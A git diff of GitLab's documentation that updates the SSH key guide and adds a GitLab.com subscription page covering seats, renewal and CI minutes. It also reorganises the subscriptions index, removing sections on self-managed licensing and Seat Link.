index b4b6f9a70e3..1c5654ae96c 100644
--- a/doc/ssh/README.md
+++ b/doc/ssh/README.md
@@ -132,7 +132,7 @@ At this point, you'll see the following message in the command line (for ED25519
```plaintext
Generating public/private ed25519 key pair.
-Enter file in which to save the key (/home/user/.ssh/id_rsa):
+Enter file in which to save the key (/home/user/.ssh/id_ed25519):
```
If you don't already have an SSH key pair and are not generating a [deploy key](#deploy-keys),
@@ -215,7 +215,7 @@ Now you can copy the SSH key you created to your GitLab account. To do so, follo
If you're using an RSA key, substitute accordingly.
-1. Navigate to `http://gitlab.com` and sign in.
+1. Navigate to `https://gitlab.com` and sign in.
1. Select your avatar in the upper right corner, and click **Settings**
1. Click **SSH Keys**.
1. Paste the public key that you copied into the **Key** text box.
diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md
new file mode 100644
index 00000000000..bce61cdad66
--- /dev/null
+++ b/doc/subscriptions/gitlab_com/index.md
@@ -0,0 +1,315 @@
+---
+type: index, reference
+---
+
+# GitLab.com subscription **(BRONZE ONLY)**
+
+GitLab.com is GitLab Inc.'s software-as-a-service offering. You don't need to
+install anything to use GitLab.com, you only need to
+[sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away.
+
+In this page we'll go through the details of your GitLab.com subscription.
+
+## Choose a GitLab.com group or personal subscription
+
+On GitLab.com you can apply a subscription to either a group or a personal namespace.
+
+When applied to:
+
+- A **group**, the group, all subgroups, and all projects under the selected
+ group on GitLab.com will have the features of the associated tier. GitLab recommends
+ choosing a group plan when managing an organization's projects and users.
+- A **personal userspace**, all projects will have features with the
+ subscription applied, but as it's not a group, group features won't be available.
+
+## Choose a GitLab.com tier
+
+Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose
+the features which fit your budget. For information on what features are available
+at each tier, see the
+[GitLab.com feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/).
+
+## Choose the number of users
+
+NOTE: **Note:**
+Applied only to groups.
+
+A GitLab.com subscription uses a concurrent (_seat_) model. You pay for a
+subscription according to the maximum number of users enabled at once. You can
+add and remove users during the subscription period, as long as the total users
+at any given time is within your subscription count.
+
+Every occupied seat, whether by person, job, or bot is counted in the subscription,
+with the following exception:
+
+- Members with Guest permissions on a Gold subscription.
+
+TIP: **Tip:**
+To support the open source community and encourage the development of open
+source projects, GitLab grants access to **Gold** features for all GitLab.com
+**public** projects, regardless of the subscription.
+
+## Obtain a GitLab.com subscription
+
+To subscribe to GitLab.com:
+
+- **For individuals**:
+ 1. Create a user account for yourself using our
+ [sign up page](https://gitlab.com/users/sign_in#register-pane).
+ 1. Visit the [billing page](https://gitlab.com/profile/billings)
+ under your profile.
+ 1. Select the **Bronze**, **Silver**, or **Gold** GitLab.com plan through the
+ [Customers Portal](https://customers.gitlab.com/).
+ 1. Link your GitLab.com account with your Customers Portal account.
+ Once a plan has been selected, if your account is not
+ already linked, you will be prompted to link your account with a
+ **Sign in to GitLab.com** button.
+ 1. Select the namespace from the drop-down list to associate the subscription.
+ 1. Proceed to checkout.
+- **For groups**:
+ 1. Create a user account for yourself using our
+ [sign up page](https://gitlab.com/users/sign_in#register-pane).
+ 1. Create a [group](../../user/group/index.md). GitLab groups help assemble related
+ projects together allowing you to grant members access to several projects
+ at once. A group is not required if you plan on having projects inside a personal
+ namespace.
+ 1. Create additional users and
+ [add them to the group](../../user/group/index.md#add-users-to-a-group).
+ 1. Select the **Bronze**, **Silver**, or **Gold** GitLab.com plan through the
+ [Customers Portal](https://customers.gitlab.com/).
+ 1. Link your GitLab.com account with your Customers Portal account.
+ Once a plan has been selected, if your account is not
+ already linked, you will be prompted to link your account with a
+ **Sign in to GitLab.com** button.
+ 1. Select the namespace from the drop-down list to associate the subscription.
+ 1. Proceed to checkout.
+
+TIP: **Tip:**
+You can also go to the [**My Account**](https://customers.gitlab.com/customers/edit)
+page to add or change the GitLab.com account link.
+
+## View your GitLab.com subscription
+
+To see the status of your GitLab.com subscription, log in to GitLab.com and go
+to the **Billing** section of the relevant namespace:
+
+- **For individuals**: Visit the [billing page](https://gitlab.com/profile/billings)
+ under your profile.
+- **For groups**: From the group page (*not* from a project within the group), go to **Settings > Billing**.
+
+ NOTE: **Note:**
+ You must have Owner level [permissions](../../user/permissions.md) to view a group's billing page.
+
+ The following table describes details of your subscription for groups:
+
+ | Field | Description |
+ |-------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|
+ | **Seats in subscription** | If this is a paid plan, represents the number of seats you've paid to support in your group. |
+ | **Seats currently in use** | Number of active seats currently in use. |
+ | **Max seats used** | Highest number of seats you've used. If this exceeds the seats in subscription, you may owe an additional fee for the additional users. |
+ | **Seats owed** | If your maximum seats used exceeds the seats in your subscription, you'll owe an additional fee for the users you've added. |
+ | **Subscription start date** | Date your subscription started. If this is for a Free plan, is the date you transitioned off your group's paid plan. |
+ | **Subscription end date** | Date your current subscription will end. Does not apply to Free plans. |
+
+## Renew your GitLab.com subscription
+
+To renew your subscription:
+
+1. [Prepare for renewal by reviewing your account](#prepare-for-renewal-by-reviewing-your-account)
+1. [Renew your GitLab.com subscription](#renew-or-change-a-gitlabcom-subscription)
+
+### Prepare for renewal by reviewing your account
+
+The [Customers Portal](https://customers.gitlab.com/customers/sign_in) is your
+tool for renewing and modifying your subscription. Before going ahead with renewal,
+log in and verify or update:
+
+- The invoice contact details on the **Account details** page.
+- The credit card on file on the **Payment Methods** page.
+
+TIP: **Tip:**
+Contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293)
+if you need assistance accessing the Customers Portal or if you need to change
+the contact person who manages your subscription.
+
+It's important to regularly review your user accounts, because:
+
+- A GitLab subscription is based on the number of users. You will pay more than
+ you should if you renew for too many users, while the renewal will fail if you
+ attempt to renew a subscription for too few users.
+- Stale user accounts can be a security risk. A regular review helps reduce this risk.
+
+#### Users over License
+
+A GitLab subscription is valid for a specific number of users. For details, see
+[Choose the number of users](#choose-the-number-of-users).
+
+If the active user count exceeds the number included in the subscription, known
+as the number of _users over license_, you must pay for the excess number of
+users either before renewal, or at the time of renewal. This is also known the
+_true up_ process.
+
+There is no self-service option for purchasing additional seats. You must
+request a quotation from GitLab Sales. To do so, contact GitLab via our
+[support form](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293).
+
+The amount charged per seat is calculated by one of the following methods:
+
+- If paid before renewal, the amount per seat is calculated on a prorated basis.
+ For example, if the user was added 3 months before the end of the subscription
+ period, the amount owing is calculated as: (3 / 12) x annual fee.
+- If paid on renewal, the amount per seat is the standard annual fee.
+
+### Renew or change a GitLab.com subscription
+
+NOTE: **Note:**
+To renew for more users than are currently active in your GitLab.com plan,
+contact our sales team via `renewals@gitlab.com` for assistance as this can't be
+done in the Customers Portal.
+
+For details on upgrading your subscription tier, see
+[Upgrade your GitLab.com subscription tier](#upgrade-your-gitlabcom-subscription-tier).
+
+#### Automatic renewal
+
+To view or change automatic subscription renewal (at the same tier as the
+previous period), log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in), and:
+
+- If you see a **Resume subscription** button, your subscription was canceled
+ previously. Click it to resume automatic renewal.
+- If you see **Cancel subscription**, your subscription is set to automatically
+ renew at the end of the subscription period. Click it to cancel automatic renewal.
+
+With automatic renewal enabled, the subscription will automatically renew on the
+expiration date and there will be no gap in available service. An invoice will be
+generated for the renewal and available for viewing or download in the
+[View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty
+during the renewal process, contact our
+[support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance.
+
+## Upgrade your GitLab.com subscription tier
+
+To upgrade your [GitLab tier](https://about.gitlab.com/pricing/):
+
+1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in).
+1. Select the **Upgrade** button on the relevant subscription card on the [Manage purchases](https://customers.gitlab.com/subscriptions) page.
+1. Select the desired upgrade.
+1. Confirm the active form of payment, or add a new form of payment.
+1. Check the **I accept the Privacy Policy and Terms of Service** checkbox.
+1. Select **Confirm purchase**.
+
+When the purchase has been processed, you receive confirmation of your new subscription tier.
+
+## Subscription expiry
+
+When your subscription or trial expires, GitLab does not delete your data, but
+it may become inaccessible, depending on the tier at expiry. Some features may not
+behave as expected if you're not prepared for the expiry. For example,
+[environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759).
+
+If you renew or upgrade, your data will again be accessible.
+
+## CI pipeline minutes
+
+CI pipeline minutes are the execution time for your
+[pipelines](../../ci/pipelines/index.md) on GitLab's shared runners. Each
+[GitLab.com tier](https://about.gitlab.com/pricing/) includes a monthly quota
+of CI pipeline minutes:
+
+- Free: 400 minutes
+- Bronze: 2,000 minutes
+- Silver: 10,000 minutes
+- Gold: 50,000 minutes
+
+Quotas apply to:
+
+- Groups, where the minutes are shared across all members of the group, its
+ subgroups, and nested projects. To view the group's usage, navigate to the group,
+ then **Settings > Usage Quotas**.
+- Your personal account, where the minutes are available for your personal projects.
+ To view and buy personal minutes, click your avatar, then
+ **Settings > [Usage Quotas](https://gitlab.com/profile/usage_quotas#pipelines-quota-tab)**.
+
+Only pipeline minutes for GitLab shared runners are restricted. If you have a
+specific runner set up for your projects, there is no limit to your build time on GitLab.com.
+
+The available quota is reset on the first of each calendar month at midnight UTC.
+
+When the CI minutes are depleted, an email is sent automatically to notify the owner(s)
+of the namespace. You can [purchase additional CI minutes](#purchase-additional-ci-minutes),
+or upgrade your account to [Silver or Gold](https://about.gitlab.com/pricing/).
+Your own runners can still be used even if you reach your limits.
+
+### Purchase additional CI minutes
+
+If you're using GitLab.com, you can purchase additional CI minutes so your
+pipelines won't be blocked after you have used all your CI minutes from your
+main quota. You can find pricing for additional CI/CD minutes in the
+[GitLab Customers Portal](https://customers.gitlab.com/plans). Additional minutes:
+
+- Are only used once the shared quota included in your subscription runs out.
+- Roll over month to month.
+
+To purchase additional minutes for your group on GitLab.com:
+
+1. From your group, go to **Settings > Usage Quotas**.
+1. Select **Buy additional minutes** and you will be directed to the Customers Portal.
+1. Locate the subscription card that's linked to your group on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction.
+1. Once we have processed your payment, the extra CI minutes will be synced to your group namespace.
+1. To confirm the available CI minutes, go to your group, then **Settings > Usage Quotas**.
+
+ The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month.
+
+To purchase additional minutes for your personal namespace:
+
+1. Click your avatar, then go to **Settings > Usage Quotas**.
+1. Select **Buy additional minutes** and you will be directed to the Customers Portal.
+1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes will be synced to your personal namespace.
+1. To confirm the available CI minutes for your personal projects, click your avatar, then go to **Settings > Usage Quotas**.
+
+ The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month.
+
+Be aware that:
+
+- If you have purchased extra CI minutes before the purchase of a paid plan,
+ we will calculate a pro-rated charge for your paid plan. That means you may
+ be charged for less than one year since your subscription was previously
+ created with the extra CI minutes.
+- Once the extra CI minutes have been assigned to a Group, they can't be transferred
+ to a different Group.
+- If you have used more minutes than your default quota, these minutes will
+ be deducted from your Additional Minutes quota immediately after your purchase of additional
+ minutes.
+
+## Customers portal
+
+GitLab provides a [customer portal](../index.md#customers-portal) where you can
+manage your subscriptions and your account details.
+
+## Contact Support
+
+Learn more about:
+
+- The tiers of [GitLab Support](https://about.gitlab.com/support/).
+- [Submit a request via the Support Portal](https://support.gitlab.com/hc/en-us/requests/new).
+
+We also encourage all users to search our project trackers for known issues and
+existing feature requests in the [GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/) project.
+
+These issues are the best avenue for getting updates on specific product plans
+and for communicating directly with the relevant GitLab team members.
+
+## Troubleshooting
+
+### Credit card declined
+
+If your credit card is declined when purchasing a GitLab subscription, possible reasons include:
+
+- The credit card details provided are incorrect.
+- The credit card account has insufficient funds.
+- You are using a virtual credit card and it has insufficient funds, or has expired.
+- The transaction exceeds the credit limit.
+- The transaction exceeds the credit card's maximum transaction amount.
+
+Check with your financial institution to confirm if any of these reasons apply. If they don't
+apply, contact [GitLab Support](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293).
diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md
index 35559c9b970..bc58c9e899d 100644
--- a/doc/subscriptions/index.md
+++ b/doc/subscriptions/index.md
@@ -2,144 +2,70 @@
type: index, reference
---
-# GitLab subscription
+# GitLab subscription **(STARTER)**
-GitLab offers tiers of features. Your subscription determines which tier you have access to. Subscriptions are valid for 12 months.
+GitLab offers tiers of features. Your subscription determines which tier you
+have access to. Subscriptions are valid for 12 months.
-GitLab provides special subscriptions to participants in the [GitLab Education Program](https://about.gitlab.com/solutions/education/) and [GitLab Open Source Program](https://about.gitlab.com/solutions/open-source/). For details on obtaining and renewing these subscriptions, see:
+GitLab provides special subscriptions to participants in:
-- [GitLab for Education subscriptions](#gitlab-for-education-subscriptions)
-- [GitLab for Open Source subscriptions](#gitlab-for-open-source-subscriptions)
+- [Education](#gitlab-for-education-subscriptions)
+- [Open Source](#gitlab-for-open-source-subscriptions)
-## Choosing a GitLab subscription
+## Choose a GitLab subscription
-When choosing a subscription, consider the following factors:
+When choosing a subscription, there are two factors to consider:
-- [GitLab tier](#choosing-a-gitlab-tier)
-- [GitLab.com or self-managed](#choosing-between-gitlabcom-or-self-managed)
-- [Group or personal subscription (GitLab.com only)](#choosing-a-gitlabcom-group-or-personal-subscription)
-- [Number of users](#choosing-the-number-of-users)
+- [GitLab.com or self-managed](#choose-between-gitlabcom-or-self-managed)
+- [GitLab tier](#choose-a-gitlab-tier)
-### Choosing a GitLab tier
+### Choose between GitLab.com or self-managed
-Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose the features which fit your budget. See the [GitLab.com feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/) and the [self-managed feature comparison](https://about.gitlab.com/pricing/self-managed/feature-comparison/) for information on what features are available at each tier for each product.
+There are some differences in how a subscription applies, depending if you use
+GitLab.com or a self-managed instance:
-### Choosing between GitLab.com or self-managed
+- [GitLab.com](gitlab_com/index.md): GitLab's software-as-a-service offering.
+ You don't need to install anything to use GitLab.com, you only need to
+ [sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away.
+- [GitLab self-managed](self_managed/index.md): Install, administer, and maintain
+ your own GitLab instance.
-There are some differences in how a subscription applies, depending if you use GitLab.com or a self-managed instance.
-
-- [GitLab.com](#gitlabcom): GitLab's software-as-a-service offering. You don't need to install anything to use GitLab.com, you only need to [sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away.
-- [GitLab self-managed](#self-managed): Install, administer, and maintain your own GitLab instance.
-
-On a self-managed instance, a GitLab subscription provides the same set of features for all users. On GitLab.com you can apply a subscription to either a group or a personal namespace.
-
-NOTE: **Note:**
-Subscriptions cannot be transferred between GitLab.com and GitLab self-managed. A new subscription must be purchased and applied as needed.
-
-### Choosing a GitLab.com group or personal subscription
-
-On GitLab.com you can apply a subscription to either a group or a personal namespace.
-
-When applied to:
-
-- A **group**, the group, all subgroups, and all projects under the selected
- group on GitLab.com will have the features of the associated tier. GitLab recommends
- choosing a group plan when managing an organization's projects and users.
-- A **personal userspace** instead, all projects will have features with the
- subscription applied, but as it's not a group, group features won't be available.
-
-### Choosing the number of users
-
-There are some differences between who is counted in a subscription, depending if you use GitLab.com or a self-managed instance.
-
-#### GitLab.com
-
-A GitLab.com subscription uses a concurrent (_seat_) model. You pay for a subscription according to the maximum number of users enabled at once. You can add and remove users during the subscription period, as long as the total users at any given time is within your subscription count.
-
-Every occupied seat, whether by person, job, or bot is counted in the subscription, with the following exception:
-
-- Members with Guest permissions on a Gold subscription.
-
-TIP: **Tip:**
-To support the open source community and encourage the development of open
-source projects, GitLab grants access to **Gold** features for all GitLab.com
-**public** projects, regardless of the subscription.
-
-#### Self-managed
-
-A self-managed subscription uses a hybrid model. You pay for a subscription according to the maximum number of users enabled during the subscription period. For instances that aren't offline or on a closed network, the maximum number of simultaneous users in the self-managed installation is checked each quarter, using [Seat Link](#seat-link).
-
-Every occupied seat, whether by person, job, or bot is counted in the subscription, with the following exceptions:
-
-- [Deactivated](../user/admin_area/activating_deactivating_users.md#deactivating-a-user) and
-[blocked](../user/admin_area/blocking_unblocking_users.md) users who are restricted prior to the
-renewal of a subscription won't be counted as active users for the renewal subscription. They may
-count as active users in the subscription period in which they were originally added.
-- Members with Guest permissions on an Ultimate subscription.
-- GitLab-created service accounts: `Ghost User`, `Support Bot` and [`Project bot users`](../user/project/settings/project_access_tokens.md#project-bot-users).
-
-##### Users statistics
-
-To view a breakdown of the users within your instance, including active, billable, and blocked, go to **Admin Area > Overview > Dashboard** and select **Users statistics** in the **Users** section.
-For more details, see [Users statistics](../user/admin_area/index.md#users-statistics).
+On a self-managed instance, a GitLab subscription provides the same set of
+features for _all_ users. On GitLab.com, you can apply a subscription to either
+a group or a personal namespace.
NOTE: **Note:**
-If you have LDAP integration enabled, anyone in the configured domain can sign up for a GitLab account. This can result in an unexpected bill at time of renewal. Consider [disabling new signups](../user/admin_area/settings/sign_up_restrictions.md) and managing new users manually instead.
-
-## Obtain a GitLab subscription
-
-### Subscribe to GitLab.com
-
-To subscribe to GitLab.com:
+Subscriptions cannot be transferred between GitLab.com and GitLab self-managed.
+A new subscription must be purchased and applied as needed.
-1. Create a user account for yourself using our
- [sign up page](https://gitlab.com/users/sign_in#register-pane).
-1. Create a [group](../user/group/index.md). GitLab groups help assemble related
- projects together allowing you to grant members access to several projects
- at once. A group is not required if you plan on having projects inside a personal
- namespace.
-1. Create additional users and
- [add them to the group](../user/group/index.md#add-users-to-a-group).
-1. Select the **Bronze**, **Silver**, or **Gold** GitLab.com plan through the
- [Customers Portal](https://customers.gitlab.com/).
-1. Link your GitLab.com account with your Customers Portal account.
- Once a plan has been selected, if your account is not
- already linked, you will be prompted to link your account with a
- **Sign in to GitLab.com** button.
-1. Select the namespace from the drop-down list to associate the subscription.
-1. Proceed to checkout.
+### Choose a GitLab tier
-TIP: **Tip:**
-You can also go to the [**My Account**](https://customers.gitlab.com/customers/edit)
-page to add or change the GitLab.com account link.
+Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose
+the features which fit your budget. For information on what features are available
+at each tier for each product, see:
-### Subscribe through GitLab self-managed
+- [GitLab.com feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/)
+- [Self-managed feature comparison](https://about.gitlab.com/pricing/self-managed/feature-comparison/)
-To subscribe to GitLab through a self-managed installation:
+## Find your subscription
-1. Go to the [Customers Portal](https://customers.gitlab.com/) and purchase a **Starter**, **Premium**, or **Ultimate** self-managed plan.
-1. After purchase, a license file is sent to the email address associated to the Customers Portal account,
- which must be [uploaded to your GitLab instance](../user/admin_area/license.md#uploading-your-license).
+The following chart should help you determine your subscription model. Click
+on the list item to go to the respective help page.
-TIP: **Tip:**
-If you're purchasing a subscription for an existing **Core** self-managed
-instance, ensure you're purchasing enough seats to
-[cover your users](../user/admin_area/index.md#administering-users).
+```mermaid
+graph TD
-### Credit card declined
+A(Is your user account on GitLab.com?)
+A --> B(Yes)
+A --> C(No)
+B --> D(fa:fa-link View your subscription on GitLab.com)
+C --> E(fa:fa-link View your self-hosted subscription)
-If your credit card is declined when purchasing a GitLab subscription, possible reasons include:
-
-- The credit card details provided are incorrect.
-- The credit card account has insufficient funds.
-- You are using a virtual credit card and it has insufficient funds, or has expired.
-- The transaction exceeds the credit limit.
-- The transaction exceeds the credit card's maximum transaction amount.
-
-Check with your financial institution to confirm if any of these reasons apply. If they don't
-apply, contact [GitLab Support](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293).
+click D "./gitlab_com/index.html#view-your-gitlabcom-subscription"
+click E "./self_managed/index.html#view-your-subscription"
+```
-## Manage your GitLab account
+## Customers portal
With the [Customers Portal](https://customers.gitlab.com/) you can:
@@ -234,379 +160,33 @@ To change the password for this customers portal account:
1. Make the required changes to the **Your password** section.
1. Click **Save changes**.
-## View your subscription
-
-You can view details of your subscription in either GitLab.com or your self-managed instance:
-
-- [View your GitLab.com subscription](#view-your-gitlabcom-subscription)
-- [View your self-managed subscription](#view-your-self-managed-subscription)
-
-### View your GitLab.com subscription
-
-To see the status of your GitLab.com subscription, log in to GitLab.com and go to the **Billing** section of the relevant namespace:
-
-- For individuals:
- 1. Go to **User Avatar > Settings**.
- 1. Click **Billing**.
-- For groups:
- 1. From the group page (*not* from a project within the group), go to **Settings > Billing**.
- You must have Owner level permission to view a group's billing page.
-
-The following table describes details of your subscription for groups:
-
-| Field | Description |
-|-------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|
-| **Seats in subscription** | If this is a paid plan, represents the number of seats you've paid to support in your group. |
-| **Seats currently in use** | Number of active seats currently in use. |
-| **Max seats used** | Highest number of seats you've used. If this exceeds the seats in subscription, you may owe an additional fee for the additional users. |
-| **Seats owed** | If your maximum seats used exceeds the seats in your subscription, you'll owe an additional fee for the users you've added. |
-| **Subscription start date** | Date your subscription started. If this is for a Free plan, is the date you transitioned off your group's paid plan. |
-| **Subscription end date** | Date your current subscription will end. Does not apply to Free plans. |
-
-### View your self-managed subscription
-
-To view the status of your self-managed subscription, log in to the self-managed instance and go to the **License** page.
-
- 1. Go to **Admin Area**.
- 1. From the left-hand menu, select **License**.
-
-## Renew your subscription
-
-To renew your subscription, [prepare for renewal by reviewing your account](#prepare-for-renewal-by-reviewing-your-account), then do one of the following:
-
-- [Renew a GitLab.com subscription](#renew-or-change-a-gitlabcom-subscription).
-- [Renew a self-managed subscription](#renew-a-self-managed-subscription).
-
-### Prepare for renewal by reviewing your account
-
-The [Customers Portal](https://customers.gitlab.com/customers/sign_in) is your tool for renewing and modifying your subscription. Before going ahead with renewal, log in and verify or update:
-
-- The invoice contact details on the **Account details** page.
-- The credit card on file on the **Payment Methods** page.
-
-TIP: **Tip:**
-Contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) if you need assistance accessing the Customers Portal or if you need to change the contact person who manages your subscription.
-
-It's important to regularly review your user accounts, because:
-
-- A GitLab subscription is based on the number of users. You will pay more than you should if you renew for too many users, while the renewal will fail if you attempt to renew a subscription for too few users.
-- Stale user accounts can be a security risk. A regular review helps reduce this risk.
-
-#### Users over License
-
-A GitLab subscription is valid for a specific number of users. For details, see [Choose the number of users](#choosing-the-number-of-users). If the active user count exceeds the number included in the subscription, known as the number of _users over license_, you must pay for the excess number of users either before renewal, or at the time of renewal. This is also known the _true up_ process.
-
-##### Purchase additional seats for GitLab.com
-
-There is no self-service option for purchasing additional seats. You must request a quotation from GitLab Sales. To do so, contact GitLab via our [support form](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293).
-
-The amount charged per seat is calculated by one of the following methods:
-
-- If paid before renewal, the amount per seat is calculated on a prorated basis. For example, if the user was added 3 months before the end of the subscription period, the amount owing is calculated as: (3 / 12) x annual fee.
-- If paid on renewal, the amount per seat is the standard annual fee.
-
-##### Purchase additional users for self-managed
-
-Self-managed instances can add users to a subscription any time during the subscription period. The cost of additional users added during the subscription period is prorated from the date of purchase through the end of the subscription period.
-
-To add users to a subscription:
-
-1. Log in to the [Customers Portal](https://customers.gitlab.com/).
-1. Navigate to the **Manage Purchases** page.
-1. Select **Add more seats** on the relevant subscription card.
-1. Enter the number of additional users.
-1. Select **Proceed to checkout**.
-1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the system and a credit for what you've already paid. You will only be charged for the net change.
-1. Select **Confirm Upgrade**.
-
-The following will be emailed to you:
-
-- A payment receipt. You can also access this information in the Customers Portal under [**View invoices**](https://customers.gitlab.com/receipts).
-- A new license. [Upload this license](../user/admin_area/license.md#uploading-your-license) to your instance to use it.
-
-### Seat Link
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208832) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.9.
-
-Seat Link allows us to provide our self-managed customers with prorated charges for user growth throughout the year using a quarterly reconciliation process.
-
-Seat Link daily sends a count of all users in connected self-managed instances to GitLab. That information is used to automate prorated reconciliations. The data is sent securely through an encrypted HTTPS connection.
-
-Seat Link provides **only** the following information to GitLab:
-
-- Date
-- License key
-- Historical maximum user count
-- Active users count
-
-For offline or closed network customers, the existing [true-up model](#users-over-license) will be used. Prorated charges are not possible without user count data.
-
-<details>
-<summary>Click here to view example content of a Seat Link POST request.</summary>
-
-<pre><code>
-{
- date: '2020-01-29',
- license_key: 'ZXlKa1lYUmhJam9pWm5WNmVsTjVZekZ2YTJoV2NucDBh
-RXRxTTA5amQxcG1VMVZqDQpXR3RwZEc5SGIyMVhibmxuZDJ0NWFrNXJTVzVH
-UzFCT1hHNVRiVFIyT0ZaUFlVSm1OV1ZGV0VObE1uVk4NCk4xY3ZkM1F4Y2to
-MFFuVklXSFJvUWpSM01VdE9SVE5rYkVjclZrdDJORkpOTlhka01qaE5aalpj
-YmxSMg0KWVd3MFNFTldTRmRtV1ZGSGRDOUhPR05oUVZvNUsxVnRXRUZIZFU1
-U1VqUm5aVFZGZUdwTWIxbDFZV1EyDQphV1JTY1V4c1ZYSjNPVGhrYVZ4dVlu
-TkpWMHRJZUU5dmF6ZEJRVVkxTlVWdFUwMTNSMGRHWm5SNlJFcFYNClQyVkJl
-VXc0UzA0NWFFb3ZlSFJrZW0xbVRqUlZabkZ4U1hWcWNXRnZYRzVaTm5GSmVW
-UnJVR1JQYTJKdA0KU0ZZclRHTmFPRTVhZEVKMUt6UjRkSE15WkRCT1UyNWlS
-MGRJZDFCdmRFWk5Za2h4Tm5sT1VsSktlVlYyDQpXRmhjYmxSeU4wRnRNMU5q
-THpCVWFGTmpTMnh3UWpOWVkyc3pkbXBST1dnelZHY3hUV3hxVDIwdlZYRlQN
-Ck9EWTJSVWx4WlVOT01EQXhVRlZ3ZGs1Rk0xeHVSVEJTTDFkMWJUQTVhV1ZK
-WjBORFdWUktaRXNyVnpsTw0KTldkWWQwWTNZa05VWlZBMmRUVk9kVUpxT1hV
-Mk5VdDFTUzk0TUU5V05XbFJhWGh0WEc1cVkyWnhaeTlXDQpTMEpyZWt0cmVY
-bzBOVGhFVG1oU1oxSm5WRFprY0Uwck0wZEdhVUpEV1d4a1RXZFRjVU5tYTB0
-a2RteEQNCmNWTlFSbFpuWlZWY2JpdFVVbXhIV0d4MFRuUnRWbkJKTkhwSFJt
-TnRaMGsyV0U1MFFUUXJWMUJVTWtOSA0KTVhKUWVGTkxPVTkzV1VsMlVUUldk
-R3hNTWswNU1USlNjRnh1U1UxTGJTdHRRM1l5YTFWaWJtSlBTMkUxDQplRkpL
-SzJSckszaG1hVXB1ZVRWT1UwdHZXV0ZOVG1WamMyVjRPV0pSUlZkUU9UUnpU
-VWh2Wlc5cFhHNUgNClNtRkdVMDUyY1RGMWNGTnhVbU5JUkZkeGVWcHVRMnBh
-VTBSUGR6VnRNVGhvWTFBM00zVkZlVzFOU0djMA0KY1ZFM1FWSlplSFZ5UzFS
-aGIxTmNia3BSUFQxY2JpSXNJbxRsZVNJNkltZFhiVzFGVkRZNWNFWndiV2Rt
-DQpNWEIyY21SbFFrdFNZamxaYURCdVVHcHhiRlV3Tm1WQ2JGSlFaSFJ3Y0Rs
-cFMybGhSMnRPTkZOMWNVNU0NClVGeHVTa3N6TUUxcldVOTVWREl6WVVWdk5U
-ZGhWM1ZvVjJkSFRtZFBZVXRJTkVGcE55dE1NRE5dWnpWeQ0KWlV0aWJsVk9T
-RmRzVVROUGRHVXdWR3hEWEc1MWjWaEtRMGQ2YTAxWFpUZHJURTVET0doV00w
-ODRWM0V2DQphV2M1YWs5cWFFWk9aR3BYTm1aVmJXNUNaazlXVUVRMWRrMXpj
-bTFDV0V4dldtRmNibFpTTWpWU05VeFMNClEwTjRNMWxWCUtSVGEzTTJaV2xE
-V0hKTFRGQmpURXRsZFVaQlNtRnJTbkpPZGtKdlUyUmlNVWxNWWpKaQ0KT0dw
-c05YbE1kVnh1YzFWbk5VZDFhbU56ZUM5Tk16TXZUakZOVW05cVpsVTNObEo0
-TjJ4eVlVUkdkWEJtDQpkSHByYWpreVJrcG9UVlo0Y0hKSU9URndiV2RzVFdO
-VlhHNXRhVmszTkV0SVEzcEpNMWRyZEVoRU4ydHINCmRIRnFRVTlCVUVVM1pV
-SlRORE4xUjFaYVJGb3JlWGM5UFZ4dUlpd2lhWFlpt2lKV00yRnNVbk5RTjJk
-Sg0KU1hNMGExaE9SVGR2V2pKQlBUMWNiaUo5DQo=',
- max_historical_user_count: 10,
- active_users: 6
-}
-</code></pre>
-
-</details>
-
-You can view the exact JSON payload in the administration panel. To view the payload:
-
-1. Navigate to **Admin Area > Settings > Metrics and profiling** and expand **Seat Link**.
-1. Click **Preview payload**.
-
-#### Disable Seat Link
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212375) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.10.
-
-Seat Link is enabled by default.
-
-To disable this feature, go to **Admin Area > Settings > Metrics and profiling**, uncheck the **Enable Seat Link** checkbox > **Save changes**.
-
-To disable Seat Link in an Omnibus GitLab installation, and prevent it from
-being configured in the future through the administration panel, set the following in
-[`gitlab.rb`](https://docs.gitlab.com/omnibus/settings/configuration.html#configuration-options):
-
-```ruby
-gitlab_rails['seat_link_enabled'] = false
-```
-
-To disable Seat Link in a GitLab source installation, and prevent it from
-being configured in the future through the administration panel,
-set the following in `gitlab.yml`:
-
-```yaml
-production: &base
- # ...
- gitlab:
- # ...
- seat_link_enabled: false
-```
-
-### Renew or change a GitLab.com subscription
-
